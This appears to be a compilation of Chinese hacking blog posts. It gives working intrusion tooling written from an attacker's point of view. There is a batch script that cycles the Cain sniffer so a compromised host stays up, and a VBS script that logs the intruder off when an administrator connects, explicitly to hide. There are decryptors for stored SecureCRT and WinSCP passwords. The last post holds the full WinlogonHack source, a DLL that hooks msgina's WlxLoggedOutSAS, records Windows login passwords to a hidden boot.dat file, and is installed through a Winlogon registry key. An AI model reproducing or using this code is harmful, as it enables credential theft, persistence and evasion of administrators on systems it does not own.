重启动静太大了,结束进程 方式比较合理
写了个批处理 
遇到网络卡了 自动退出 
网络状态好了 再自动开启

欢迎修改 以及更好的建议

@echo off
:top
ping -n 1 -l 1 61.135.169.105
IF ERRORLEVEL 1 GOTO kill
IF ERRORLEVEL 0 GOTO start

:start
TaskList|Findstr /i "cain.exe"
If ErrorLevel 1 (
start cain.exe
)
goto top

:kill
TaskList|Findstr /i "cain.exe"
If ErrorLevel 0 (
taskkill /f -im cain.exe
ping 127.0.1 -n 10 -l 1
 )
goto top

大家常用的工具是cain,用法大家都会了。但是cain在嗅探过程中,如果遇到流量较大的目标机,往往会把装cain的主机搞死,从而引起管理员的注意。像有的时候,嗅了一阵后,就会把3389搞死。我也没有更好的办法,只能让cain嗅一段时间后停止,再重新开始。如果每次都是手工去停止cain,有时候时间掌握的不及时,3389已经死掉了。其实解决这个问题很简单,一个简单的批处理脚本就可以了。脚本内容如下:
 

ping 127.0.0.1 -n 5000>nul
taskkill /F /PID 4144


上边批处理脚本中,5000是秒数,用来控制cain的嗅探时间。4144是cain的进程数,可以自己用tasklist查一下就知道了。这样一来,你可以放心在嗅探这段时间内去做别的事了。

再来呢,用cain嗅探一般会在3389上,这时候如果碰到管理员登陆3389也不太好办,我的好友Netpatch写过一个终端监视脚本,一旦发现有两人同时登陆终端的话就注销自己。脚本内容如下:
 

on error resume next
set arg=wscript.arguments
If arg.count=0 then
wscript.echo “use:// cscript.exe FS.vbs port”
sleep 1000
wscript.quit
End If
Tport=arg(0)
Runs=false
While runs=false
Dim oShell,oExec,strOut,oRegExp,Matches,Match,Num,Tport
Set oShell = WScript.CreateObject(”WScript.Shell”)
Set oExec = oShell.Exec(”netstat -an”)
Set oRegExp = new RegExp
oRegExp.Pattern = “TCP[\s]+[\d\.]+:”&Tport&”[\s]+[\d\.]+:[\d]+[\s]+ESTABLISHED”
oRegExp.IgnoreCase = True
oRegExp.Global = True
Do While Not oExec.StdOut.AtEndOfStream
strOut = strOut & oExec.StdOut.ReadLine() & Chr(13) & Chr(10)
Loop
Set Matches = oRegExp.Execute(strOut)
Num = 0
For Each Match In Matches
Num = Num + 1
Next
if num > 1 then
Runs=true
oShell.run “logoff”
end if
Set Matches = Nothing
Set oRegExp = Nothing
Set oExec = Nothing
Set oShell = Nothing
wend


用此脚本,登陆终端时打开就可以了,这也是一个比较好的隐藏自己的办法。

查看 SecureCRT session配置文件中的密码

发布时间:June 2, 2015 // 分类:工作日志,代码学习,windows,python // 3 Comments

在现有SecureCRT session的条件下,还原出已有的密码

from Crypto.Cipher import Blowfish
import argparse
import re

def decrypt(password) :
    c1 = Blowfish.new('5F B0 45 A2 94 17 D9 16 C6 C6 A2 FF 06 41 82 B7'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    c2 = Blowfish.new('24 A6 3D DE 5B D3 B3 82 9C 7E 06 F4 08 16 AA 07'.replace(' ','').decode('hex'), Blowfish.MODE_CBC, '\x00'*8)
    padded = c1.decrypt(c2.decrypt(password.decode('hex'))[4:-4])
    p = ''
    while padded[:2] != '\x00\x00' :
        p += padded[:2]
        padded = padded[2:]
    return p.decode('UTF-16')

REGEX_HOSTNAME = re.compile(ur'S:"Hostname"=([^\r\n]*)')
REGEX_PASWORD = re.compile(ur'S:"Password"=u([0-9a-f]+)')
REGEX_PORT = re.compile(ur'D:"\[SSH2\] Port"=([0-9a-f]{8})')
REGEX_USERNAME = re.compile(ur'S:"Username"=([^\r\n]*)')

def hostname(x) :
    m = REGEX_HOSTNAME.search(x)
    if m :
        return m.group(1)
    return '???'

def password(x) :
    m = REGEX_PASWORD.search(x)
    if m :
        return decrypt(m.group(1))
    return '???'

def port(x) :
    m = REGEX_PORT.search(x)
    if m :
        return '-p %d '%(int(m.group(1), 16))
    return ''

def username(x) :
    m = REGEX_USERNAME.search(x)
    if m :
        return m.group(1) + '@'
    return ''

parser = argparse.ArgumentParser(description='Tool to decrypt SSHv2 passwords in VanDyke Secure CRT session files')
parser.add_argument('files', type=argparse.FileType('r'), nargs='+',
    help='session file(s)')

args = parser.parse_args()

for f in args.files :
    c = f.read().replace('\x00', '')
    print f.name
    print "ssh %s%s%s # %s"%(port(c), username(c), hostname(c), password(c))

关于Winscp 密码获取解密

发布时间:June 2, 2015 // 分类:工作日志,VC/C/C++,代码学习,windows // No Comments

WINSCP默认保存用户密码在注册表中的如下位置

HKEY_USERS\SID\Software\Martin Prikryl\WinSCP 2\Sessions\

但是WIN7\8下WinSCP默认路径在:
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Program Files (x86)\WinSCP\WinSCP.ini (64位操作系统)
C:\Users\USERNAME\AppData\Local\VirtualStore\Program Files\WinSCP\WinSCP.ini (32位操作系统) - 专注网络安全2 p% t+ \* j$ r- a
C:\Program Files\WinSCP\WinSCP.ini (32位操作系统)

记忆中最早的就是这个

https://bitbucket.org/knarf/winscppwd/overview/ s, u+ I+ P0 n3 m: [

有源码提供下载,还有编译好的程序可供下载使用

https://bitbucket.org/knarf/winscppwd/downloads/winscppwd.exe

还有就是一个GO语言的
https://github.com/anoopengineer/winscppasswd/blob/master/main.go
package main

import (
    "fmt"
    "os"
    "runtime"
    "strconv"
)

const (
    PW_MAGIC = 0xA3
    PW_FLAG  = 0xFF
)

func main() {
    args := os.Args[1:]
    if len(args) != 3 {
        fmt.Println("WinSCP stored password finder")
        fmt.Println("Open regedit and navigate to [HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions] to get the hostname, username and encrypted password\n")
        if runtime.GOOS == "windows" {
            fmt.Println("Usage winscppasswd.exe <host> <username> <encrypted_password>")
        } else {
            fmt.Printf("Usage ./winscppasswd <host> <username> <encrypted_password>")
        }
        return
    }
    fmt.Println(decrypt(args[0], args[1], args[2]))
}

func decrypt(host, username, password string) string {
    key := username + host
    passbytes := []byte{}
    for i := 0; i < len(password); i++ {
        val, _ := strconv.ParseInt(string(password[i]), 16, 8)
        passbytes = append(passbytes, byte(val))
    }
    var flag byte
    flag, passbytes = dec_next_char(passbytes)
    var length byte = 0
    if flag == PW_FLAG {
        _, passbytes = dec_next_char(passbytes)

        length, passbytes = dec_next_char(passbytes)
    } else {
        length = flag
    }
    toBeDeleted, passbytes := dec_next_char(passbytes)
    passbytes = passbytes[toBeDeleted*2:]

    clearpass := ""
    var (
        i   byte
        val byte
    )
    for i = 0; i < length; i++ {
        val, passbytes = dec_next_char(passbytes)
        clearpass += string(val)
    }

    if flag == PW_FLAG {
        clearpass = clearpass[len(key):]
    }
    return clearpass
}

func dec_next_char(passbytes []byte) (byte, []byte) {
    if len(passbytes) <= 0 {
        return 0, passbytes
    }
    a := passbytes[0]
    b := passbytes[1]
    passbytes = passbytes[2:]
    return ^(((a << 4) + b) ^ PW_MAGIC) & 0xff, passbytes
}
 
 
附加一个java的
https://github.com/YuriMB/WinSCP-Password-Recovery/blob/master/src/main/java/Main.java
import java.util.ArrayList;
import java.util.List;

/**
 * Created by Yuri Meiburg on 30-4-2015.
 */
public class Main {

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_FLAG 0xFF
     */
    public static final int PWALG_SIMPLE_FLAG = 0xFF;

    /**
     * ./core/Security.h:#define PWALG_SIMPLE_MAGIC 0xA3
     */
    public static final char PWALG_SIMPLE_MAGIC = 0xA3;

    public static List<Character> fPassword = new ArrayList<Character>();
    public static String hostname, username;

    public static void main(String [] args){
        if (args.length != 3) {
            System.exit(0);
        }

        hostname = args[0];
        username = args[1];

        for( int i=0; i< args[2].length(); ++i){
            fPassword.add((char) Integer.parseInt(""+args[2].charAt(i),16));
        }

        System.out.println("username = " + username);
        System.out.println("hostname = " + hostname);
        System.out.println("getPassword() = " + getPassword());
    }


    /**
     * UnicodeString __fastcall TSessionData::GetPassword() const
     {
     return DecryptPassword(FPassword, UserName+HostName);
     }
     */
    static String getPassword(){
        return decryptPassword(fPassword, username + hostname);
    }

    /**
     * UnicodeString DecryptPassword(RawByteString Password, UnicodeString UnicodeKey, Integer)
     * {
     *    UTF8String Key = UnicodeKey;
     *    UTF8String Result("");
     *    Integer Index;
     *    unsigned char Length, Flag;
     *
     *    Flag = simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *      simpleDecryptNextChar(Password);
     *      Length = simpleDecryptNextChar(Password);
     *    }
     *    else Length = Flag;
     *    Password.Delete(1, ((Integer)simpleDecryptNextChar(Password))*2);
     *    for (Index = 0; Index < Length; Index++)
     *        Result += (char)simpleDecryptNextChar(Password);
     *    if (Flag == PWALG_SIMPLE_FLAG)
     *    {
     *        if (Result.SubString(1, Key.Length()) != Key) Result = "";
     *        else Result.Delete(1, Key.Length());
     *    }
     *    return UnicodeString(Result);
     *}
     */
    static String decryptPassword(List<Character> password, String unicodeKey){
        System.out.println("unicodeKey = " + unicodeKey);
        String key = unicodeKey;
        String result = "";
        char length, flag;

        flag = simpleDecryptNextChar(password);
        System.out.println("flag = " + (int) flag);
        if(flag == PWALG_SIMPLE_FLAG){
            /* Dummy = */ simpleDecryptNextChar(password);
            length = simpleDecryptNextChar(password);
        }
        else length = flag;

        System.out.println("length = " + (int) length);

        int newStart = ((int)simpleDecryptNextChar(password)*2);
        System.out.println("newStart = " + newStart + ", password.size() = " + password.size());
        removeItems(password, 0, newStart);

        for(int index=0; index < length; ++index)
            result += simpleDecryptNextChar(password);

        System.out.println("result = " + result);
        if(flag == PWALG_SIMPLE_FLAG)
        {
            if (!result.substring(0, key.length()).equals(key)) result = "";
            else result = result.substring(key.length());
        }

        return result;
    }


    /**
     * unsigned char simpleDecryptNextChar(RawByteString &Str)
     {
     if (Str.Length() > 0)
     {
     unsigned char Result = (unsigned char)
     ~((((PWALG_SIMPLE_STRING.Pos(Str.c_str()[0])-1) << 4) +
     ((PWALG_SIMPLE_STRING.Pos(Str.c_str()[1])-1) << 0)) ^ PWALG_SIMPLE_MAGIC);
     Str.Delete(1, 2);
     return Result;
     }
     else return 0x00;
     }
     * @param str
     * @return
     */
    static public char simpleDecryptNextChar(List<Character> str){
        if(str.size() > 0){
            char result = unsignedChar(
                        ~(
                            (
                                    unsignedChar(str.get(0) << 4) + str.get(1) // Remove bitshift overflow bits.
                            ) ^ PWALG_SIMPLE_MAGIC
                        )
                    );

            removeItems(str, 0, 2);
            return result;
        }
        else return 0x00;
    }

    /**
     * Cut off anything over 255.
     * @param v
     * @return
     */
    static char unsignedChar(int v){
        return (char) (v & 0xFF);
    }

    /**
     * Remove items from list
     */
    static void removeItems(List lst, int start, int end){
        for(int i=0; i<end-start; ++i){
            lst.remove(start);
        }
    }
}

关于hook自带的msgina.dll截取系统密码

发布时间:May 5, 2015 // 分类:代码学习,VC/C/C++,windows // No Comments

Windows的开机密码认证模块一般是由Gina DLL完成的。在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。

1.Gina原理
WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。
WinLogon初始化时会创建3个桌面:
(1) winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2) 应用程序桌面:我们平时见到的那个有我的电脑的界面
(3) 屏幕保护桌面:屏幕保护显示界面。
在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。
2.Gina DLL导出函数
在NT/2000 中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。GINA DLL要输出下列函数(Winlogon会调用):
(1) WlxActivateUserShell:激活用户外壳程序。
(2) WlxDisplayLockedNotice:允许GINA DLL显示锁定信息。
(3) WlxDisplaySASNotice:当没有用户登陆时,Winlogon调用此函数。
(4) WlxDisplayStatusMessage:Winlogon用一个状态信息调用此函数进行显示。
(5) WlxGetStatusMessage:Winlogon 调用此函数获取当前状态信息。
(6) WlxInitialize:针对指定的窗口位置进行GINA DLL初始化。
(7) WlxIsLockOk:验证工作站正常锁定。
(8) WlxIslogoffOk:验证注销正常。
(9) WlxLoggedOnSAS:用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数。
(10) WlxLoggedOutSAS:没有用户登陆,如果此时收到SAS事件,则Winlogon调用此函数。
(11) WlxLogoff:请求注销操作时通知GINA DLL。
(12) WlxNegotiate:表示当前的Winlogon版本是否能使用GINA DLL。
(13) WlxNetworkProviderLoad:在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数。
(14) WlxRemoveStatusMessage:Winlogon调用此函数告诉GINA DLL停止显示状态信息。
(15) WlxScreensaverNotify:允许GINA与屏幕保护操作交互。
(16) WlxShutdown:在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡。
(17) WlxStartApplication:当系统需要在用户的上下文中启动应用程序时调用此函数。
(18) WlxWkstaLockedSAS:当工作站被锁定,如果接收到一个SAS,则Winlogon调用此函数。
我们通过对上述的18个基本函数进行重写,来实现USB身份认证系统的Windows登录身份认证。

关于msgina.dll可以查看百科的介绍http://baike.baidu.com/view/662342.htm

关于截取的原理就是:系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有PWLX_MPR_NOTIFY_INFO结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。

实现的过程就是:

生成dll文件,并把这个文件复制到系统目录。并把文件加入到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wminotify里面。不用重启, 当有3389登上时,自动加载DLL,并且记录登录密码! 保存为boot.dat文件.

来自WinlogonHack,并且附上自己解读的源码:

// Hookmsgina.cpp : Defines the entry point for the DLL application.
/*
系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有
PWLX_MPR_NOTIFY_INFO 
结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了
*/

#include "stdafx.h"
#include <tchar.h>
//宏定义
#define WLX_SAS_ACTION_LOGON  (1)

//WLX_MPR_NOTIFY_INFO结构
typedef struct _WLX_MPR_NOTIFY_INFO {   
    PWSTR           pszUserName;    
    PWSTR           pszDomain;  
    PWSTR           pszPassword;    
    PWSTR           pszOldPassword;
} WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;

//函数原形
// GINA DLLs are ignored in Windows Vista
typedef int (WINAPI* WlxLoggedOutSAS)(
                                      PVOID                   pWlxContext, // pointer to GINA context
                                      DWORD                   dwSasType,   // Indicates that a user has typed the standard CTRL+ALT+DEL SAS.....
                                      PLUID                   pAuthenticationId,
                                      PSID                    pLogonSid,
                                      PDWORD                  pdwOptions,
                                      PHANDLE                 phToken,
                                      PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                      PVOID *                 pProfile
);


DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter);

//自定义接管的API函数,形参保持一致  
int   WINAPI FunNewWlxLoggedOutSAS( PVOID  pWlxContext,DWORD dwSasType,PLUID pAuthenticationId,PSID  pLogonSid,
                                PDWORD                  pdwOptions,
                                PHANDLE                 phToken,
                                PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                PVOID *                 pProfile);
void WriteLog(  PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo);  // WLX_MPR_NOTIFY_INFOv
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);
void WriteCurrentTime(HANDLE hfile);
void HookWlxLoggedOutSAS();
void UnHookWlxLoggedOutSAS();

//定义字节对齐方式
#pragma pack(1)
  
struct HookTable{
    HMODULE         hMsgina;
    WlxLoggedOutSAS OldWlxLoggedOutSAS; // --->原始WlxLoggedOutSAS函数入口 -----> 修改前的WlxLoggedOutSAS函数指针
    WlxLoggedOutSAS NewWlxLoggedOutSAS; // --->自定义的函数
    unsigned char   OldCode[6];     /* mov edi,edi      \x8B\xFF
                                       push ebp         \x55
                                       mov ebp,esp      \x8B\xEC
                                    */
    unsigned char   JmpCode[6];     /* 
                                        \xE9\x00\x00\x00\x00
                                    */
};
//全局hook表
HookTable hooktable = {  
                        0 ,
                        0 ,                       // 初始化 OldWlxLoggedOutSAS为0
                        &FunNewWlxLoggedOutSAS ,  // 设置新的WlxLoggedOutSAS指针
                        "\x8B\xFF\x55\x8B\xEC" ,
                        "\xE9\x00\x00\x00\x00"   // 跳转到接下来的一条指令 "\xE9\x00\x00\x00\x00",
                        };
/*
------------------------------------
XP,2003系统中msgina.dll的入口点如下:
\x8B\xFF       mov  edi,edi
\x55           push ebp
\x8B\xEC       mov  ebp,esp


2000系统中msgina.dll的入口如下:
\x8B\xCO       mov  eax,eax
\x55           push ebp
\x8B\xEC       mov  ebp,esp


GINA DLLS are ignored in Windows Wista
------------------------------------
*/
#pragma pack()


BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
/************************************************************************/  
/* 函数说明:DLL的主函数                                             */  
/* 参数:                                                              */  
/* 返回值:                                                             */  
/************************************************************************/                       
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
         HANDLE hthread = CreateThread( 0 , 
             0 , 
             LPTHREAD_START_ROUTINE(StartHookWlxLoggedOutSAS) , 
             0 , 
             0 , 
             0);
         CloseHandle( hthread );
        break;  // 此处如果不从DLL返回到系统进程空间,将导致故障
    }
    return TRUE;
}



DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter)
/************************************************************************/  
/* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数    */  
/* 参数:无                                                             */  
/* 返回值:0表示成功                                                    */  
/************************************************************************/  
{
    //得到msgina.dll  
    //hooktable.hMsgina  
    hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));
    if ( hooktable.hMsgina == NULL)
    {
        return 0 ;
    }
    //得到WlxLoggedOutSAS
    hooktable.OldWlxLoggedOutSAS = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );
    ////得到原始函数地址,等下撤销HOOK会用到 
    if (hooktable.OldWlxLoggedOutSAS == NULL)
    {
        return 0 ;
    }
    /*
    WlxLoggedOutSAS函数的入口:
    758D679B >    8BFF          mov     edi, edi
    758D679D   .  55            push    ebp
    758D679E   .  8BEC          mov     ebp, esp
    758D67A0   .  83EC 40       sub     esp, 40
    */    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    // 根据版本选择 msgina.dll WlxLoggedOutSAS入口代码
    for (int i=0 ;  i < 4 ; i++ )   // "\x8B\xFF\x55\x8B\xEC"总计5个字节
    {
        if (p[i] != hooktable.OldCode[i])  
        // 检测获取的WlxLoggedOutSAS入口数据是非与设定的数据相同[设定的是xp,2003版本]
        {
            return 0;
        }
    }
     //----------------重定位新的WlxLoggedOut入口点------------------
    int *OpCode = (int *)&hooktable.JmpCode[1];  // OpCode ---->75--[8D679B]   此处的Jmp[1]=00
    int Code = (int)hooktable.NewWlxLoggedOutSAS - (int)hooktable.OldWlxLoggedOutSAS - 5;
    // OpCode ---->75--[8D679B]   此处的Jmp[1]=00 

    *OpCode = Code;

    /*
    OpCode[0] = (BYTE)(Code & 0xff);
    OpCode[1] = (BYTE)((Code>>8) & 0xff);
    OpCode[2] = (BYTE)((Code>>16) & 0xff);
    OpCode[3] = (BYTE)((Code>>24)& 0xff);
    */

    HookWlxLoggedOutSAS();

    return 0;
}

void HookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                  */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    DWORD OldProtect = NULL;

    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        PAGE_EXECUTE_READWRITE ,
        &OldProtect
        );  //OldProtect返回一个内存属性值

    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ )
    {
        p[i] = hooktable.JmpCode[i];  //现在JmpCode相当于E9 00 00 00 00   JmpCode[i]
    }

    VirtualProtect( hooktable.OldWlxLoggedOutSAS , 
        5 ,
        OldProtect ,
        &OldProtect 
        ); //将内存属性还原.

    return;
}

void UnHookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                   */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/
{
    DWORD OldProtect = NULL;
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 , 
        PAGE_EXECUTE_READWRITE ,
        &OldProtect );
    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ ) // hook后将入口改回去
    {
        p[i] = hooktable.OldCode[i]; //hooktable[1]
    }
    
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        OldProtect ,
        &OldProtect );
    
    return;
}

void WriteLog(PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo)
/************************************************************************/  
/* 函数说明:将得到的用户名和密码信息写入文件中                       */  
/* 参数:pNprNotifyInfo 包含用户名和密码的结构体                        */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    int size_u = lstrlenW( pNprNotifyInfo->pszUserName );
    size_u += lstrlenW( pNprNotifyInfo->pszDomain );
    size_u += lstrlenW( pNprNotifyInfo->pszPassword );
    size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );
    
    unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    char *pBuffer = (char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    
    ZeroMemory( pWBuffer  , size_u + 1024 );
    ZeroMemory( pBuffer  , size_u + 1024 ); // pWBuffer ------> pBuffer
    
    if ( !pBuffer )
    {
        return;
    }else
    {   //写进记录 八卦下,这里似乎也是可以调用socket来远程发送
        wsprintfW( pWBuffer ,
            L"\r\nUser    = %s \r\nDomain  = %s \r\nPass    = %s \r\nOldPass = %s\r\n\r\n" ,
            pNprNotifyInfo->pszUserName , //账号
            pNprNotifyInfo->pszDomain ,   //当前的组或域
            pNprNotifyInfo->pszPassword , //密码
            pNprNotifyInfo->pszOldPassword //旧密码
            );
        
        WideToByte( pBuffer ,
            pWBuffer ,
            lstrlenW( pWBuffer )
            );
    }
    char LogPath[MAX_PATH] = {0};
    GetSystemDirectory( LogPath , MAX_PATH); // 密码文件
    lstrcat( LogPath , "\\boot.dat"); //写进boot.dat里面
    HANDLE hfile = CreateFile(
        LogPath , 
        GENERIC_WRITE , 
        FILE_SHARE_WRITE ,
        0 ,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL ,
        0  );
    if (hfile != INVALID_HANDLE_VALUE)
    {
        unsigned long ret;
        SetFilePointer( hfile , -1 ,  0 , FILE_END);
        
        WriteCurrentTime( hfile );
        WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 );
        
        CloseHandle( hfile );
    }else
    {
        GetLastError();
    }
    
    GlobalFree( pWBuffer );
    GlobalFree( pBuffer  );
    return; // 返回到原线程
}
//记录SAS事件的事件
void WriteCurrentTime(HANDLE hfile)
{
    SYSTEMTIME st;
    DWORD ret = 0;
    
    GetLocalTime(&st);
    char buffer[200] ={0};
    wsprintf( buffer , "\r\n%d/%d/%d/%d:%d:%d" ,
        st.wYear ,
        st.wMonth ,
        st.wDay ,
        st.wHour ,
        st.wMinute,
        st.wSecond 
        );
    WriteFile( hfile , buffer , lstrlen( buffer ) ,  &ret , 0 );
}

int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi)
{
    //MessageBox(0,"WideToByte","---",MB_OK);
    return WideCharToMultiByte( CP_ACP ,
        WC_COMPOSITECHECK ,
        sz_source ,
        -1 ,
        sz_target ,
        size_ansi ,
        0 ,
        0 );
}
//================================================Hook后,预调用的函数=============================
//自定义WlxLoggedOutSAS函数,用于替换原函数,所以参数表与原函数完全一致
int WINAPI FunNewWlxLoggedOutSAS(
                 PVOID                   pWlxContext,
                 DWORD                   dwSasType,
                 PLUID                   pAuthenticationId,
                 PSID                    pLogonSid,
                 PDWORD                  pdwOptions,
                 PHANDLE                 phToken,
                 PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                 PVOID *                 pProfile
)
{
    UnHookWlxLoggedOutSAS();
    //hooktable.OldWlxLoggedOutSAS即为原WlxLoggedOutSAS函数
    int i = hooktable.OldWlxLoggedOutSAS(pWlxContext  ,
                                        dwSasType , 
                                        pAuthenticationId ,
                                        pLogonSid ,
                                        pdwOptions ,
                                        phToken ,
                                        pNprNotifyInfo,
                                        pProfile
                                        );
    if (i = WLX_SAS_ACTION_LOGON )
    {

        //MessageBoxW( 0 , pNprNotifyInfo->pszUserName , pNprNotifyInfo->pszPassword , MB_OK);
        
        WriteLog( pNprNotifyInfo );
    }
    return i;
}

extern "C" __declspec(dllexport) void __stdcall EventStartup(DWORD Parameter) // extern "C" --C不能小写
{
    //MessageBox( 0 , "开机了" , "通知你" , MB_OK );
    return;
}

extern "C" __declspec(dllexport) void __stdcall EventLogon(DWORD Parameter)
{
    //MessageBox( 0 , "登录了" , "通知你" , MB_OK );
    return;
}